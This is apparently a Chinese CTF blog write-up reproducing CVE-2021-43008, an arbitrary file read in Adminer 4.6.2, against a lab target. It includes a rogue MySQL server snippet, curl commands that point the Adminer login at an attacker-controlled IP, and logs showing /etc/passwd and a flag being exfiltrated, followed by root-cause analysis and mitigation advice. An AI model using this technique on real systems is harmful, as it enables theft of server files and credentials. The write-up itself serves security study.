CVE-2021-43008

CVE-2021-43008 Adminer 任意文件读取漏洞复现

前言

最近在打靶场时遇到了一个 Adminer 4.6.2,顺手复现了一下经典的 CVE-2021-43008。这个漏洞利用 MySQL 协议的 LOAD DATA LOCAL INFILE 特性,让 Adminer 在连接恶意 MySQL 服务端时乖乖把服务器本地文件交出来。整个过程不算复杂,但有几个坑值得记录一下。

漏洞概述

影响版本: Adminer 1.12.0 ~ 4.6.2

原理一句话: Adminer 作为 MySQL 客户端连接数据库时,如果 MySQL 服务端声明支持 CLIENT_LOCAL_FILES,并向客户端发送 0xfb (LOCAL INFILE) 响应包,Adminer 底层的 PHP mysqlnd 驱动就会老老实实读取本地文件回传给服务端。

打个比方:你走进一家黑店,店老板递给你一张表说”填一下”,你接过表的同时,老板说”顺便把你家钥匙给我看看”,然后你就给了。

环境信息

项目 详情
目标 http://ulab.bdziyi.cn:20710/
Adminer 版本 4.6.2
Web 服务器 Apache/2.4.25 (Debian)
PHP 版本 7.2.15
攻击机 82.156.189.140 (腾讯云)

攻击流程

Step 1: 信息收集

访问目标,直接在根路径看到 Adminer 4.6.2 的登录界面,没有额外路径隐藏,省去了一顿 dirsearch 的功夫。

从页面源码确认版本号 4.6.2,在 CVE-2021-43008 的影响范围内。

Step 2: 搭建 Rogue MySQL 服务端

这是整个利用的核心,需要自己实现一个”恶意”的 MySQL 服务端。Python 一把梭:

1
2
3
4
5
6
7
8
9
10
# 关键点 1: greeting 包必须声明 CLIENT_LOCAL_FILES (0x80)
CAP_LOWER = (0x0001 # CLIENT_LONG_PASSWORD
| 0x0080 # CLIENT_LOCAL_FILES <-- 关键!
| 0x0200 # CLIENT_PROTOCOL_41
| 0x8000) # CLIENT_SECURE_CONNECTION

# 关键点 2: 对任何 COM_QUERY 返回 0xfb 请求文件
def local_infile_packet(filename, seq):
data = b'\xfb' + filename.encode()
return pack(data, seq)

这里我踩了第一个坑:**greeting 包的 capability flags 必须明确包含 CLIENT_LOCAL_FILES (0x80)**。第一次写的时候 capability 全填了 0x00,Adminer 客户端直接无视了后续的 0xfb 请求,整个连接就卡在那里不动了。

第二个坑是 packet sequence number 必须对齐。MySQL 协议里每个包的 seq 号是严格递增的,错一位就会触发 Adminer 端的 “Packets out of order” 错误。虽然不影响文件读取(数据在报错前已经回传了),但优雅一点总是好的。

完整脚本我放到了 rogue_mysql.py,基于 Gifts/Rogue-MySql-Server 的思路改写。

Step 3: 触发连接

Adminer 的实际 MySQL 连接发生在登录后渲染数据库选择页时,不是提交登录表单的那一刻。所以攻击流程是:

  1. GET / 拿到 session cookie 和 token
  2. POST / 提交登录表单,auth[server]=82.156.189.140:3306
  3. GET /?server=...&username=root 跟进重定向,这一步触发 MySQL 连接
1
2
3
4
5
# 用 curl 串联整个流程
curl -c cookie.txt http://target:20710/
TOKEN=$(grep -o "token.*value='[^']*" page.html | cut -d"'" -f2)
curl -b cookie.txt -d "auth[server]=82.156.189.140:3306&..." http://target:20710/
curl -b cookie.txt "http://target:20710/?server=82.156.189.140%3A3306&username=root"

Step 4: 收菜

Rogue 服务端日志输出:

1
2
3
4
5
6
7
8
9
[+] New connection from ('112.19.67.200', 10990)
[*] Client caps: 0x000aa28d LOCAL_FILES=True
[*] CMD=0x03 seq=0 b'SET NAMES utf8mb4'
[>>] Sent LOCAL INFILE for: /flag
[*] File chunk seq=2 len=42
[<<<] File content received: 42 bytes
==================================================
flag{5919fbbb-13f6-4887-8bc0-e1bf85e7631f}
==================================================

Adminer 连接上来后第一个发出的查询是 SET NAMES utf8mb4,我们的服务端不管它问什么,直接甩一个 0xfb /flag 回去。PHP mysqlnd 看到 CLIENT_LOCAL_FILES 已协商,乖乖去读 /flag 然后用一个包(42 字节)回传过来。

先读 /etc/passwd 探路确认漏洞存在,再读 /flag 拿下 flag。

为什么这个漏洞存在?

根本原因是 Adminer 没有对 MySQL 服务端返回的响应做合法性校验。

正常情况下,客户端发 SET NAMES utf8mb4,服务端应该返回 OK 包(0x00)或 ERR 包(0xff)。但 Adminer 的 MySQL 驱动对服务端返回的 0xfb(LOCAL INFILE 请求)照单全收,直接执行本地文件读取。

这里有一个前置条件:PHP 的 mysqlnd 驱动需要允许 local_infile。Adminer 本身为了支持导入 CSV 等功能,会显式开启 MYSQL_OPT_LOCAL_INFILE,所以恰好满足了条件。

防御建议

  1. **升级 Adminer 到 4.6.3+**,官方在新版本中默认禁用了 LOAD DATA LOCAL
  2. 如果无法升级,在 php.ini 中设置 mysqli.allow_local_infile = Off
  3. 使用 Adminer 时不要连接不可信的 MySQL 服务端(虽然这听起来像废话,但这个漏洞的利用前提恰好就是你主动连了攻击者的服务器)

总结

CVE-2021-43008 是一个经典的”客户端过度信任服务端”类型漏洞。MySQL 协议设计时赋予了服务端请求客户端本地文件的能力,而 Adminer 在实现时没有限制这个能力的使用场景。配上用户主动连接恶意服务端这个看似不合理的操作(实际上社工场景下完全可能),就能实现任意文件读取。

整个利用过程从搭服务端到拿到 flag 不到半小时,属于”性价比”很高的一类漏洞。


复现日期: 2026-07-03
漏洞编号: CVE-2021-43008
目标环境: Adminer 4.6.2 + PHP 7.2.15 + Apache 2.4.25


CVE-2021-43008
http://82.156.189.140:8085/2026/07/03/CVE-2021-43008/
作者
fortuneh2c
发布于
2026年7月3日
许可协议